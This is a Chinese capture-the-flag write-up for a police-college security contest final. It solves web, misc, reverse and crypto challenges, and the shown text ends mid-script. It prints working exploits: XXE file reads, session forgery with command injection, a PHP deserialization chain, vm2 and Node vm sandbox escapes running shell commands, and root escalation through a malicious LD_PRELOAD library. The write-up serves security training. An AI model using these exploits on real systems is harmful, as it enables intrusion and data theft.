浙江警察学院第九届信息网络安全竞赛决赛-wp

作者:玄网安全 发布:2026-06-26 20:24 收录:2026-09-21 08:45 5 次阅读 约 13073 字
摘要:浙江警察学院第九届信息网络安全竞赛决赛-wp上班摸鱼-写😀正版wp以官方为主-比赛题目在【ctfplus】可
推荐理由:本文围绕「网络安全」、「CTF」、「Disable」等主题展开。

浙江警察学院第九届信息网络安全竞赛决赛-wp

上班摸鱼-写😀

正版wp以官方为主-比赛题目在【ctfplus】可复现

login.php XXE

概要

这题的核心是 login.php 对用户提交的 XML 直接启用了外部实体解析,形成 XXE。利用外部实体读取 /flag,再借助错误分支中的 $username.$username 回显,即可直接拿到 flag。

解题过程

Step 1: 确认 XXE 注入点

附件 login.php 的关键代码如下:

libxml_disable_entity_loader(false);
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

这里有两个关键点:

  • libxml_disable_entity_loader(false) 允许实体加载
  • LIBXML_NOENT | LIBXML_DTDLOAD 会解析外部实体

后续程序从 XML 中读取:

$username = $creds->username;
$password = $creds->password;

并进入分支:

if ($username != 'admin'){
    $res = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username.$username);
}

因此只要让 username 变成 /flag 的文件内容,并保证它不等于 admin,响应里就会把 flag 拼接回显两次。

Step 2: 发送恶意 XML 并提取 flag

首页前端会向 /login.php 发送 application/xml,所以我们直接 POST 一份带外部实体的 XML:

import re
import urllib.request


URL = "http://80-7680e940-a0a7-44e4-96c2-3791d9762d2c.challenge.ctfplus.cn/login.php"
XML = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///flag">]>
<root><username>&xxe;</username><password>wrong</password></root>
"""
.encode()


def main():
    req = urllib.request.Request(
        URL,
        data=XML,
        headers={"Content-Type": "application/xml"},
        method="POST",
    )
    body = urllib.request.urlopen(req).read().decode("utf-8", "ignore")
    match = re.search(r"ZJPCTF\\{[^}]+\\}", body)
    if not match:
        raise SystemExit("flag not found")
    print(match.group(0))


if __name__ == "__main__":
    main()

运行结果:

ZJPCTF{bac914dd-8089-426e-afce-90bc0daa57a9}

Flag

ZJPCTF{bac914dd-8089-426e-afce-90bc0daa57a9}

addr — 我就ping一下怎么了

Summary

Flask Web 应用存在两个漏洞的组合利用:已知 secret_key 伪造 session cookie 绕过管理员认证,以及 IPv6 Zone ID 注入 穿越 ip_address() 校验实现任意命令执行,最终读取 /flag。

Solution

Step 1: 源码审计

访问容器地址,页面是一个 "系统管理控制台",提供 Ping 功能但提示"只有管理员可以使用此工具"。附件泄露了 app.py 源码,关键逻辑如下:

app.secret_key = 'secret_key_changed_in_container'

@app.route('/set_user_session', methods=['POST'])
def set_user_session():
    username = request.form.get('username', '').strip()
    if username.lower() == 'admin':          # ← 小写比较,阻止 'admin'
        flash("禁止操作:不允许设置 'admin' 用户名!")
        return redirect(url_for('index'))
    session['user'] = username
    ...

@app.route('/test', methods=['POST'])
def ping():
    target = request.form.get('target', '')
    current_user = session.get('user')
    if current_user and current_user.upper() != 'ADMIN':  # ← 大写比较
        return render_template(...)
    ...
    target = ip_address(target).compressed   # ← 输入校验
    command = f'ping {param} 4 {target}'
    result = subprocess.run(command, shell=True, ...)  # ← 命令注入点

漏洞点:

  1. 认证绕过:设置器用 .lower() 阻止 admin,但管理检查用 .upper() 判断 ADMIN。然而直接通过表单无法设置 ADMIN(因为 'ADMIN'.lower() == 'admin' 会被拦截)。但 secret_key 是硬编码的弱密钥,可以直接伪造 session cookie。
  2. 命令注入:ip_address() 校验后 .compressed 输出直接拼入 shell=True 的命令。而 ip_address() 接受带 Zone ID 的 IPv6 地址(如 fe80::1%eth0),Zone ID 中的 shell 元字符会被保留。
  3. 字符限制:ip_address() 拒绝 / 和 %,需要用 shell 变量(如 $(echo $PATH|cut -c1))或 cd .. 绕过路径限制。

Step 2: 构造 Exploit

from itsdangerous import URLSafeTimedSerializer
import urllib.request, urllib.parse, re

# --- 1. 伪造管理员 Session Cookie ---
secret = 'secret_key_changed_in_container'
serializer = URLSafeTimedSerializer(
    secret_key=secret,
    salt='cookie-session',          # Flask 默认 salt
    signer_kwargs={'key_derivation': 'hmac'}
)
cookie = serializer.dumps({'user': 'ADMIN'})

base_url = 'http://5000-xxxxx.challenge.ctfplus.cn'  # 替换为实际容器地址

# --- 2. IPv6 Zone ID 命令注入 ---
# ip_address("fe80::1%;cd ..;cat flag").compressed = "fe80::1%;cd ..;cat flag"
# 实际执行: ping -c 4 fe80::1%;cd ..;cat flag
#           ping 失败 → 但 cat flag 成功输出

payload = "fe80::1%;cd ..;cat flag"
data = urllib.parse.urlencode({'target': payload}).encode()
req = urllib.request.Request(f'{base_url}/test', data=data, method='POST')
req.add_header('Cookie', f'session={cookie}')
req.add_header('Content-Type', 'application/x-www-form-urlencoded')

resp = urllib.request.urlopen(req, timeout=15)
html = resp.read().decode()
result = re.search(r'<pre>(.*?)</pre>', html, re.DOTALL)
print(result.group(1).strip() if result else "NO OUTPUT")

关键 Payload 选择:

Payload
效果
fe80::1%;id
验证命令注入可行(返回 uid=0(root))
fe80::1%;cd ..;ls
发现根目录下存在 flag 文件
fe80::1%;cd ..;cat flag
读取 flag

/ 被 ip_address() 拒绝,所以用 cd .. 从 /app 回到 / 再 cat flag,避免在 payload 中使用斜杠。

Step 3: 获取 Flag

ZJPCTF{8e866207-e2a8-4a9e-b685-764dfa0d2efe}

Flag

ZJPCTF{8e866207-e2a8-4a9e-b685-764dfa0d2efe}

PHP POP 反序列化

<?php
highlight_file(__FILE__);
class yiyi{
    public $Do;
    public $You;
    public $love;
    public $web;

    public function __invoke(){
        echo "迈进新手村了,接下来往哪走呢"."<br>";
        eval($this->web);
    }

    public function __wakeup(){
        $this->web=$this->love;
    }

    public function __destruct(){
        die($this->You->execurise=$this->Do);
    }
}

class t0mcater{
    private $execurise;
    public $lead;
    public $hansome;

    public function __set($name,$value){
        echo $this->lead;
    }

    public function __get($args){
        if(is_readable("/flag")){
            echo file_get_contents("/flag");
        }
        else{
            echo "签到也不带这么签的啊"."<br>";
            if ($this->execurise=="man!"){
                echo "胜利就在眼前"."<br>";
                if(isset($this->hansome->lover)){
                    phpinfo();
                }
            }
            else{
                echo($this->execurise);
                echo "搞什么啊,别犯困"."<br>";
            }
        }
    }
}

class jungle{
    public $girl;
    public $friend;

    public function __toString(){
        return "心中有信仰,脚下有力量"."<br>".$this->girl->abc;
    }

    public function __call($args1,$args2){
        $func=$this->friend;
        $func();
    }
}

class ZJPC{
    private $lover;
    public $forever;

    public function __isset($args){
        return $this->forever->nononon();
    }
}

$web=$_GET['web'];
if (isset($web)){
    unserialize(base64_decode($web));
    throw new Exception("None");
}else{
    echo("你真的是学web的么");
}
?>
Warning: Undefined array key "web" in /var/www/html/index.php on line 75
你真的是学web的么

概要

这题首页直接泄露了 PHP 源码,核心漏洞是 unserialize(base64_decode($_GET['web']))。利用链是 yiyi::__destruct() -> t0mcater::__set() -> jungle::__toString() -> t0mcater::__get(),最终触发 file_get_contents("/flag") 读取 flag。

解题过程

Step 1: 确认可达 sink 与 POP 链

源码里最关键的 sink 在:

public function __get($args){
    if(is_readable("/flag")){
        echo file_get_contents("/flag");
    }
}

可用链条如下:

  • yiyi::__destruct() 会执行 $this->You->execurise = $this->Do
  • 因为 t0mcater::$execurise 是私有属性,类外赋值会触发 t0mcater::__set()
  • __set() 中 echo $this->lead,若 lead 是 jungle 对象,则触发 jungle::__toString()
  • __toString() 中访问 $this->girl->abc,若 girl 是另一个 t0mcater 对象,则触发 t0mcater::__get()
  • __get() 直接读取 /flag

这里有一个关键点:不需要额外构造 fast-destruct。因为题目代码是直接执行:

unserialize(base64_decode($web));
throw new Exception("None");

unserialize() 的返回值没有保存到变量中,所以临时对象会在该语句结束后立刻析构,__destruct() 会在 throw 之前触发。

Step 2: 构造 payload 并读取 flag

下面这份脚本直接向题目地址发送 payload,并从响应中提取 flag:

import re
import urllib.parse
import urllib.request


URL = "http://80-35170111-a30d-4449-b413-61d7e98c1656.challenge.ctfplus.cn/"
PAYLOAD = (
    "Tzo0OiJ5aXlpIjo0OntzOjI6IkRvIjtzOjA6IiI7czozOiJZb3UiO086ODoidDBtY2F0ZXIiOjM6e3M6"
    "MTk6IgB0MG1jYXRlcgBleGVjdXJpc2UiO047czo0OiJsZWFkIjtPOjY6Imp1bmdsZSI6Mjp7czo0OiJn"
    "aXJsIjtPOjg6InQwbWNhdGVyIjozOntzOjE5OiIAdDBtY2F0ZXIAZXhlY3VyaXNlIjtOO3M6NDoibGVh"
    "ZCI7TjtzOjc6ImhhbnNvbWUiO047fXM6NjoiZnJpZW5kIjtOO31zOjc6ImhhbnNvbWUiO047fXM6NDoi"
    "bG92ZSI7TjtzOjM6IndlYiI7Tjt9"
)


def main():
    query = urllib.parse.urlencode({"web": PAYLOAD})
    response = urllib.request.urlopen(f"{URL}?{query}").read().decode("utf-8", "ignore")
    match = re.search(r"ZJPCTF\\{[^}]+\\}", response)
    if not match:
        raise SystemExit("flag not found")
    print(match.group(0))


if __name__ == "__main__":
    main()

运行结果:

ZJPCTF{795f1ce7-fee9-4d43-a295-9ec386841b8d}

Flag

ZJPCTF{795f1ce7-fee9-4d43-a295-9ec386841b8d}

wal

Summary

题目给了一个空的 SQLite 数据库 archive.db 和一个加密 ZIP archive.zip。核心点是:ZIP 中的 vault.db 与外部 archive.db 完全一致,可以作为 ZipCrypto 已知明文,恢复内部 key 后解密 vault.db-wal,再从 WAL 第一帧的历史记录中异或出 flag。

Solution

Step 1: 确认已知明文

先查看压缩包:

unzip -l archive.zip

发现内部有:

vault.db
vault.db-wal

vault.db 的大小是 8192 字节,和题目外部给的 archive.db 一致。继续检查 CRC:

import zlib
print(hex(zlib.crc32(open("archive.db", "rb").read()) & 0xffffffff))

输出:

0xe98190e9

该 CRC 与 ZIP 中 vault.db 的 CRC 相同,因此 archive.db 就是 vault.db 的明文副本。ZIP 条目为 Store + ZipCrypto,可做已知明文攻击。

Step 2: 恢复 ZIP key 并解密 WAL

使用 bkcrack:

bkcrack -C archive.zip -c vault.db -p archive.db

恢复出的 key:

e582672f 6fd5d913 af611648

然后去掉 ZIP 密码保护:

bkcrack -C archive.zip -k e582672f 6fd5d913 af611648 -D unlocked.zip

解压 unlocked.zip 后得到 vault.db-wal。

Step 3: 从 WAL 第一帧恢复 flag

不要直接用 SQLite 打开数据库,否则可能触发 checkpoint,只看到最终状态。

vault.db-wal 的第一帧是 page 2,对应 SQLite table leaf page。表结构为:

CREATE TABLE t(
    i INTEGER PRIMARY KEY,
    a INTEGER NOT NULL,
    b INTEGER NOT NULL
);

i 是 rowid alias,所以 payload 中第一列为 NULL 占位,真正的数据是 a 和 b。

解析第一帧中 42 条记录,按 rowid 排序后执行:

flag = bytes((a ^ b) & 0xff for _, a, b in rows).decode()
print(flag)

得到:

flag{a507a160-b294-4fee-a798-677445f07549}

Flag

flag{a507a160-b294-4fee-a798-677445f07549}

vm2

Summary

题目是一个 Node.js + Express 应用,存在两个漏洞:/changepassword 接口的递归 merge() 存在原型污染(过滤了 __proto__ 但未过滤 constructor.prototype),可用于提权获取管理员权限;管理员可访问 /sandbox 执行 vm2 沙箱代码,通过 Promise @@species getter 绕过 vm2 的 resetPromiseSpecies 补丁,结合栈溢出产生的宿主异常实现沙箱逃逸,最终读取 flag。

Solution

Step 1: 原型污染提权

/changepassword 的 merge() 函数递归合并用户输入到用户对象,仅过滤了 __proto__,未过滤 constructor 和 prototype。通过构造 constructor.prototype.isAdmin = true,污染 Object.prototype,使所有对象继承 isAdmin: true,绕过管理员权限校验。

import random, string, requests

BASE = "http://3000-4fd2b551-9d3d-4dc4-b122-a2cc5277b7b0.challenge.ctfplus.cn"

def rand(prefix):
    return prefix + "_" + "".join(random.choice(string.ascii_lowercase) for _ in range(8))

s = requests.Session()
username, password = rand("u"), rand("p")

# 注册 & 登录
s.post(f"{BASE}/register", json={"username": username, "password": password})
s.post(f"{BASE}/login", json={"username": username, "password": password})

# 原型污染提权
s.post(f"{BASE}/changepassword", json={
    "oldPassword": password,
    "newPassword": password,
    "confirmPassword": password,
    "constructor": {"prototype": {"isAdmin": True}}
})

# 验证提权成功
print(s.get(f"{BASE}/me").json())   # {"username":"u_xxx","isAdmin":true}
print(s.get(f"{BASE}/admin").json()) # {"message":"欢迎管理员!"}

Step 2: vm2 沙箱逃逸

管理员接口 /sandbox 使用 vm2 执行用户代码。直接使用 CVE-2023-37466 的 Promise species payload 会被 vm2 3.9.19 的 resetPromiseSpecies 补丁拦截(在 then() 调用前将 species 重置为 localPromise)。

绕过思路:在 Promise 实例上用 Object.defineProperty 定义 constructor 的 getter,利用访问次数差实现"检查时返回安全值,使用时返回恶意值":

  • 第 1 次访问(resetPromiseSpecies 检查)→ 返回 { [Symbol.species]: Promise },通过安全检查
  • 第 2 次访问(宿主 Promise.prototype.then 内部读取 species)→ 返回恶意 EvilPromise 类

EvilPromise 构造器接收宿主 Promise 的 executor(resolve, reject) 回调。通过递归 new Error().stack 触发宿主级别的栈溢出 RangeError,该异常未经 ensureThis 清洗直接传入 reject 回调,通过 err.constructor.constructor("return process")() 获取宿主 process 对象,进而读取文件系统。

# 续 Step 1 的 session

sandbox_url = f"{BASE}/sandbox"

code = r'''
let count = 0;
async function fn() {
    (function stack() {
        new Error().stack;
        stack();
    })();
}
let p = fn();
Object.defineProperty(p, 'constructor', {
    get: function() {
        count++;
        if (count <= 1) {
            return { [Symbol.species]: Promise };
        } else {
            return {
                [Symbol.species]: class EvilPromise {
                    constructor(executor) {
                        executor(
                            x => x,
                            err => {
                                try {
                                    const process = err.constructor.constructor("return process")();
                                    const fs = process.mainModule.require("fs");
                                    __result.value = fs.readFileSync("/flag", "utf8");
                                } catch(e) {
                                    __result.value = "ERR: " + e.message;
                                }
                            }
                        );
                    }
                }
            };
        }
    },
    configurable: true
});
p.then();
"ok"
'''


r = s.post(sandbox_url, json={"code": code}, timeout=30)
print(r.json())

关键原理:

  • vm2 的 resetPromiseSpecies 仅检查 p.constructor[Symbol.species] 是否为 globalPromise 或 localPromise,getter 在首次访问时返回安全值绕过检查
  • 宿主 Promise.prototype.then 内部再次读取 this.constructor[Symbol.species] 时,getter 返回恶意类
  • 栈溢出异常由 V8 引擎产生(宿主级别),不经过 vm2 的 ensureThis 清洗
  • EvilPromise 构造器中 executor 的 reject 回调直接接收未清洗的宿主 Error 对象

Flag

ZJPCTF{64f14f47-1c73-4edb-9673-53312826e7ca}

BackDoor

Summary

通过发送伪造的以太网 ARP 帧触发隐藏后门获得命令执行,再利用 sslh-restart 脚本 source 世界可写的 /etc/default/sslh 注入 LD_PRELOAD,以 root 权限加载恶意共享库读取 flag。

Solution

Step 1: 发现协议格式

连接 nc nc1.ctfplus.cn 23290 后服务端返回 ARP backdoor online.,之后等待输入并返回 not match。

通过尝试发现:发送一个完整的以太网 ARP 帧(14 字节以太网头 + 28 字节 ARP 包 = 42 字节)后,服务端返回:

valid arp frame. command format: CMD:<command>

之后可通过 CMD:<command> 格式执行 shell 命令。

关键点:ARP 帧和 CMD 命令必须在同一次 send() 中一起发送,分两次发送会导致命令不执行。

Step 2: 命令执行与信息收集

import socket, struct, time

def run_cmd(cmd):
    dst = b'\xff\xff\xff\xff\xff\xff'
    src = b'\xaa\xbb\xcc\xdd\xee\xff'
    et = b'\x08\x06'
    arp = struct.pack('!HHBBH6s4s6s4s',
        1, 0x0800, 6, 4, 1,
        src, b'\x0a\x00\x00\x01',
        b'\x00\x00\x00\x00\x00\x00', b'\x0a\x00\x00\x02'
    )
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(8)
    s.connect(('nc1.ctfplus.cn', 23290))
    s.recv(1024)
    s.send(dst + src + et + arp + f'CMD:{cmd}'.encode())
    time.sleep(2)
    result = b''
    while True:
        try:
            chunk = s.recv(4096)
            if not chunk: break
            result += chunk
        except: break
    s.close()
    return result.decode(errors='replace').strip()

print(run_cmd("id"))                # uid=1000(user)
print(run_cmd("sudo -l"))           # (root) NOPASSWD: /usr/local/bin/sslh-restart
print(run_cmd("ls -la /"))          # -r-------- root root /flag01.txt
print(run_cmd("cat /usr/local/bin/sslh-restart"))

关键发现:

  • /flag01.txt 仅 root 可读(权限 -r--------)
  • sudo -l 允许无密码运行 /usr/local/bin/sslh-restart
  • sslh-restart 会 . /etc/default/sslh(source),且该文件世界可写(-rw-rw-rw-)
  • source 后会 export LD_PRELOAD,然后以 root 启动 sslh

Step 3: LD_PRELOAD 提权

在远程机器上(有 gcc)编译恶意 .so,通过 LD_PRELOAD 注入以 root 加载:

import base64

# 恶意 .so:constructor 在加载时自动执行,读 flag 写到 /tmp
c_code = '#include<stdio.h>\n#include<fcntl.h>\n#include<unistd.h>\n__attribute__((constructor))void x(){int fd=open("/flag01.txt",O_RDONLY);if(fd<0)_exit(1);char b[512];int n=read(fd,b,sizeof(b)-1);close(fd);if(n<=0)_exit(1);b[n]=0;int w=open("/tmp/flag.txt",O_WRONLY|O_CREAT|O_TRUNC,0644);if(w>=0){write(w,b,n);close(w);}_exit(0);}'

# 分块写入(命令长度限制约 96 字节)
b64 = base64.b64encode(c_code.encode()).decode()
run_cmd("> /tmp/b64.txt")
for i in range(0, len(b64), 80):
    run_cmd(f"echo -n '{b64[i:i+80]}' >> /tmp/b64.txt")

run_cmd("base64 -d /tmp/b64.txt > /tmp/evil.c")
run_cmd("gcc -shared -fPIC -o /tmp/evil.so /tmp/evil.c")

# 注入 LD_PRELOAD 到 /etc/default/sslh
run_cmd('> /etc/default/sslh')
run_cmd('echo "LD_PRELOAD=/tmp/evil.so" >> /etc/default/sslh')
run_cmd('echo "DAEMON=/usr/sbin/sslh" >> /etc/default/sslh')
run_cmd('echo "DAEMON_OPTS=\\"--user root --listen 0.0.0.0:8443\\"" >> /etc/default/sslh')

# 触发提权
run_cmd("sudo /usr/local/bin/sslh-restart")

# 读 flag
print(run_cmd("cat /tmp/flag.txt"))

提权原理:

  1. sudo sslh-restart 以 root 运行
  2. 脚本 source 世界可写的 /etc/default/sslh,其中 LD_PRELOAD=/tmp/evil.so 生效
  3. sslh 作为 root 进程启动,加载 evil.so
  4. .so 的 __attribute__((constructor)) 函数以 root 身份执行,读取 /flag01.txt 并写入 /tmp/flag.txt

Flag

flag{6dc68b8c-6f28-409c-bc90-fdcb14effeba}

vlsbm

Summary

一道基于 PNG LSB 隐写 + Node.js vm 沙箱逃逸的 Web 题目。服务端从上传的 PNG 图片中通过 LSB 提取隐藏的 JavaScript 代码,再用 vm.runInContext() 执行并返回 result.abc。利用 Proxy 的 get trap 可以在宿主上下文中触发回调,通过 arguments.callee.caller 链逃逸沙箱,获取 process 对象并执行系统命令读取 flag。

Solution

Step 1: 分析目标服务

访问靶机首页,看到一个 PNG 上传表单。上传普通 PNG 后,页面返回 result 区域,显示从图片 LSB 通道提取的 JS 执行结果(仅展示 result.abc 属性)。

服务端逻辑:

  1. 读取 PNG 像素的 RGB 通道最低位,按 bit 拼接字节,遇到 \x00 结束,提取出 JS 脚本
  2. 在 vm.createContext() 创建的沙箱中执行 vm.runInContext(script, sandbox)
  3. 在宿主环境执行 renderForConsole(result),读取返回值的 .abc 属性

漏洞核心:vm 模块不是安全沙箱。宿主代码读取 VM 返回值的属性时,如果返回值是一个 Proxy,其 get trap 会在宿主上下文中执行,从而逃逸沙箱。

Step 2: 构造恶意 PNG

将以下 payload 通过 LSB 编码写入 PNG:

import struct, zlib, math

payload = r'''new Proxy({},{get:function(){
const F=arguments.callee.caller.constructor.constructor;
const p=F("return process")();
const req=p.mainModule.require.bind(p.mainModule);
return req("child_process").execSync("cat /flag* 2>/dev/null || cat ./flag* 2>/dev/null || env",{encoding:"utf8"});
}})'''


data = (payload + "\x00").encode()

bits = []
for b in data:
    for i in range(7, -1, -1):
        bits.append((b >> i) & 1)

pixels = math.ceil(len(bits) / 3)
w = 128
h = math.ceil(pixels / w)

bit_i = 0
raw = bytearray()
for y in range(h):
    raw.append(0)
    for x in range(w):
        rgb = []
        for _ in range(3):
            bit = bits[bit_i] if bit_i < len(bits) else 0
            bit_i += 1
            rgb.append(bit)
        raw.extend([rgb[0], rgb[1], rgb[2], 255])

def chunk(t, d):
    return (struct.pack(">I", len(d)) + t + d +
            struct.pack(">I", zlib.crc32(t + d) & 0xffffffff))

png = (b"\x89PNG\r\n\x1a\n" +
       chunk(b"IHDR", struct.pack(">IIBBBBB", w, h, 8, 6, 0, 0, 0)) +
       chunk(b"IDAT", zlib.compress(bytes(raw), 9)) +
       chunk(b"IEND", b""))

open("exploit.png", "wb").write(png)

Step 3: 上传并获取 Flag

python3 make_png.py
curl -s -F "image=@exploit.png;type=image/png" http://TARGET/upload

服务端执行 payload 后,result.abc 的值即为 cat /flag* 的输出,直接返回在页面 <pre> 标签中。

Payload 执行原理:

  1. new Proxy({}, {get: ...}) — 返回一个 Proxy 对象作为 VM 的执行结果
  2. 宿主代码读取 .abc 时触发 get trap
  3. arguments.callee.caller 拿到宿主 renderForConsole 函数
  4. .constructor.constructor 拿到宿主 Function 构造器
  5. F("return process")() 获取 process 对象
  6. 通过 process.mainModule.require 调用 child_process.execSync 执行系统命令

Flag

flag{ba1621d4-1e45-492b-930b-74e62c1a77b5}

signin_chal.exe

概要

这题是一个 64 位 Windows PE。实际分析后发现没有必要深入控制流,flag 明文直接放在 .rdata 段里,因此用静态字符串提取就能拿到答案。

解题过程

Step 1: 快速静态检查

对附件做基础侦察后,可以得到几个关键信息:

  • 64 位 PE,可执行文件
  • 非 .NET 程序
  • 导入表很少,只有 KERNEL32.dll 和 msvcrt.dll
  • 未发现复杂壳特征,但存在一个超大的异常节 .ry+

随后直接扫描可打印字符串,很快命中唯一的 flag 样式文本:

ZJPCTF{e127d85c-fdf4-4e57-9b6d-29a9b261cbfb}

进一步定位发现:

  • 该字符串位于文件原始偏移 0x2400
  • 正好落在 .rdata 段起始位置
  • 周边是普通只读数据,没有额外混淆

这说明这题至少在拿 flag 这一层,不需要动态调试。

Step 2: 直接提取 flag

下面的脚本从二进制中搜索 ZJPCTF{...} 并直接打印:

import re
from pathlib import Path


def main():
    data = Path("signin_chal.exe").read_bytes()
    match = re.search(rb"ZJPCTF\\{[^}]+\\}", data)
    if not match:
        raise SystemExit("flag not found")
    print(match.group(0).decode())


if __name__ == "__main__":
    main()

运行结果:

ZJPCTF{e127d85c-fdf4-4e57-9b6d-29a9b261cbfb}

Flag

ZJPCTF{e127d85c-fdf4-4e57-9b6d-29a9b261cbfb}

smc

概要

这题是一个带有自修改代码(SMC, self-modifying code)的 ELF 程序,运行时会先用 RC4 解密若干受保护函数。虽然外层做了代码加密,但真正的校验逻辑并不复杂:输入会经过三次查表替换,中间伴随两次基于 rand() 的固定洗牌,最后与 .rodata 中的 44 字节常量做比较。

解题过程

Step 1: 还原受保护代码逻辑

程序是一个 64 位、未 strip 的 ELF,符号和节名都还在,分析入口比较直接。二进制中存在四个加密代码节:

  • enc_main_sec
  • enc_change_sec
  • enc_shift_sec
  • enc_mirror_sec

辅助函数 decrypt_range() 的工作流程是:

  1. 用 mprotect 将对应代码页改为 RWX
  2. 使用 RC4 解密该代码段
  3. 执行对应受保护函数
  4. 再将页面权限恢复为 RX

RC4 的密钥明文保存在 .rodata 中:

ez_smc_rc4_key!

把四个加密节静态解密后,可以得到真实逻辑:

  • protected_main() 使用 scanf("%44s", buf) 读入输入
  • protected_change(buf) 执行:mirror(buf) -> shift() -> mirror(buf) -> shift() -> mirror(buf)
  • 最终通过 memcmp(buf, target, 44) 与目标常量比较

其中:

  • mirror() 会把每个输入字节替换为 table[byte]
  • table 位于 .data:0x404080,内容正好是 AES S-box
  • shift() 会对这张 256 字节表做一次 Fisher-Yates 洗牌
  • 程序中没有调用 srand(),因此 rand() 序列固定,洗牌结果完全可复现

Step 2: 逆向恢复原始输入

由于最终比较的目标字节序列直接存放在 .rodata 中,而两次 shift() 都由固定的 rand() 序列决定,我们只需要:

  1. 从附件中提取初始 S-box
  2. 用 glibc 默认种子 1 重放两次洗牌
  3. 分别构造三张表的逆映射
  4. 按 inv(T2) -> inv(T1) -> inv(T0) 的顺序把目标常量逆回去

下面这份脚本从附件 smc 直接恢复 flag:

from pathlib import Path


TARGET_RAW_OFFSET = 0x2020
TARGET_LEN = 44
SBOX_RAW_OFFSET = 0x3080
SBOX_LEN = 256


def glibc_rand_stream(seed: int = 1):
    state = [0] * 344
    state[0] = seed
    for i in range(1, 31):
        state[i] = (16807 * state[i - 1]) % 2147483647
    for i in range(31, 34):
        state[i] = state[i - 31]
    for i in range(34, 344):
        state[i] = (state[i - 31] + state[i - 3]) & 0xFFFFFFFF
    idx = 344
    while True:
        state.append((state[idx - 31] + state[idx - 3]) & 0xFFFFFFFF)
        yield state[idx] >> 1
        idx += 1


def shift_table(table: list[int], rand_iter):
    table = table[:]
    for i in range(255, 0, -1):
        j = next(rand_iter) % (i + 1)
        table[i], table[j] = table[j], table[i]
    return table


def inverse_table(table: list[int]):
    inv = [0] * 256
    for i, value in enumerate(table):
        inv[value] = i
    return inv


def main():
    blob = Path("smc").read_bytes()
    target = blob[TARGET_RAW_OFFSET:TARGET_RAW_OFFSET + TARGET_LEN]
    sbox0 = list(blob[SBOX_RAW_OFFSET:SBOX_RAW_OFFSET + SBOX_LEN])

    rand_iter = glibc_rand_stream(1)
    sbox1 = shift_table(sbox0, rand_iter)
    sbox2 = shift_table(sbox1, rand_iter)

    inv2 = inverse_table(sbox2)
    inv1 = inverse_table(sbox1)
    inv0 = inverse_table(sbox0)

    stage2 = bytes(inv2[b] for b in target)
    stage1 = bytes(inv1[b] for b in stage2)
    flag = bytes(inv0[b] for b in stage1)
    print(flag.decode())


if __name__ == "__main__":
    main()

运行结果:

ZJPCTF{5c64736c-1c58-44dc-9c5d-88f7e3f8cac3}

Flag

ZJPCTF{5c64736c-1c58-44dc-9c5d-88f7e3f8cac3}

ezAES

Summary

题目脚本直接把 ciphertext、iv、key 都打印出来了,所以不需要爆破,也不需要攻击 AES,本质上就是一次标准的 AES-CBC 解密。

Solution

Step 1: 读取脚本里打印出的参数并直接解密

附件末尾的三引号里已经给了 c、iv、key。把它们解析出来后直接 AES-CBC 解密,再去掉末尾的 \x00 填充即可。

import ast
import re
from pathlib import Path

from Crypto.Cipher import AES


text = Path("task (8).py").read_text(encoding="utf-8")
block = re.findall(r"'''(.*?)'''", text, re.S)[-1]
vals = [ast.literal_eval(line.strip()) for line in block.strip().splitlines()]

ciphertext, iv, key = vals
flag = AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext).rstrip(b"\x00")
print(flag.decode())

Flag

ZJPCTF{3c49a538-5af2-477f-b40b-0066be19132e}

网络迷踪

Summary

题目给出一个 Android 风格的 WebDefenderClient、配置文件、数据库和加密日志。 核心思路是逆向日志加密函数,发现日志使用 config.ini 中的 log_key 作为密钥,经过 TEA 变种加密后输出为十六进制;解密日志即可看到访问 /flag 时的响应体。

Solution

Step 1: 分析日志加密方式

根据 README.md,本题目标是解密日志文件并找到 flag。

配置文件中存在关键字段:

"log_key": "c2M1Z2R3ZnMzcC1z"

逆向 WebDefenderClient 的日志模块后,可以定位到:

turn_log_message_to_hex()
log_mask()
build_tk()

加密流程如下:

  1. 将明文日志按字节处理;
  2. 使用 PKCS#7 风格补齐到 8 字节倍数;
  3. 每 8 字节分成两个大端 32 位整数;
  4. 使用 32 轮 TEA 变种加密;
  5. delta = 0x5a827999;
  6. key 直接使用字符串 "c2M1Z2R3ZnMzcC1z",不是 Base64 解码后的结果;
  7. 最后将密文转为 hex 写入日志。

因此只需要写出对应的逆运算即可恢复日志明文。

import re
import json
from pathlib import Path

CONFIG_PATH = "config.ini"
LOG_PATH = "2026-05-29-20-54-08.log"

DELTA = 0x5A827999
ROUNDS = 32

def u32(x):
    return x & 0xffffffff

def build_key(key_str: str):
    """
    程序直接使用 config.ini 中的 log_key 字符串本身。
    取前 16 字节,不足则补 0,然后按大端拆成 4 个 uint32。
    """

    raw = key_str.encode()[:16].ljust(16, b"\x00")
    return [
        int.from_bytes(raw[0:4], "big"),
        int.from_bytes(raw[4:8], "big"),
        int.from_bytes(raw[8:12], "big"),
        int.from_bytes(raw[12:16], "big"),
    ]

def decrypt_block(block: bytes, key):
    v0 = int.from_bytes(block[0:4], "big")
    v1 = int.from_bytes(block[4:8], "big")

    s = u32(DELTA * ROUNDS)

    for _ in range(ROUNDS):
        v1 = u32(
            v1 - (
                u32((v0 << 4) + key[2])
                ^ u32(v0 + s)
                ^ u32((v0 >> 5) + key[3])
            )
        )

        v0 = u32(
            v0 - (
                u32((v1 << 4) + key[0])
                ^ u32(v1 + s)
                ^ u32((v1 >> 5) + key[1])
            )
        )

        s = u32(s - DELTA)

    return v0.to_bytes(4, "big") + v1.to_bytes(4, "big")

def decrypt_hex_line(hex_text: str, key):
    data = bytes.fromhex(hex_text)
    plain = b"".join(
        decrypt_block(data[i:i + 8], key)
        for i in range(0, len(data), 8)
    )

    # 去除 8 字节块加密前的 padding
    pad = plain[-1]
    if 1 <= pad <= 8 and plain.endswith(bytes([pad]) * pad):
        plain = plain[:-pad]

    return plain.decode("utf-8", errors="ignore")

def main():
    config = json.loads(Path(CONFIG_PATH).read_text(encoding="utf-8"))
    key = build_key(config["log_key"])

    flag_re = re.compile(r"ZJPCTF\{[^}]+\}")

    for line in Path(LOG_PATH).read_text(encoding="utf-8").splitlines():
        m = re.search(r"([0-9a-fA-F]+)$", line)
        if not m:
            continue

        plaintext = decrypt_hex_line(m.group(1), key)

        flag = flag_re.search(plaintext)
        if flag:
            print(plaintext)
            print()
            print("FLAG =", flag.group(0))
            return

    print("flag not found")

if __name__ == "__main__":
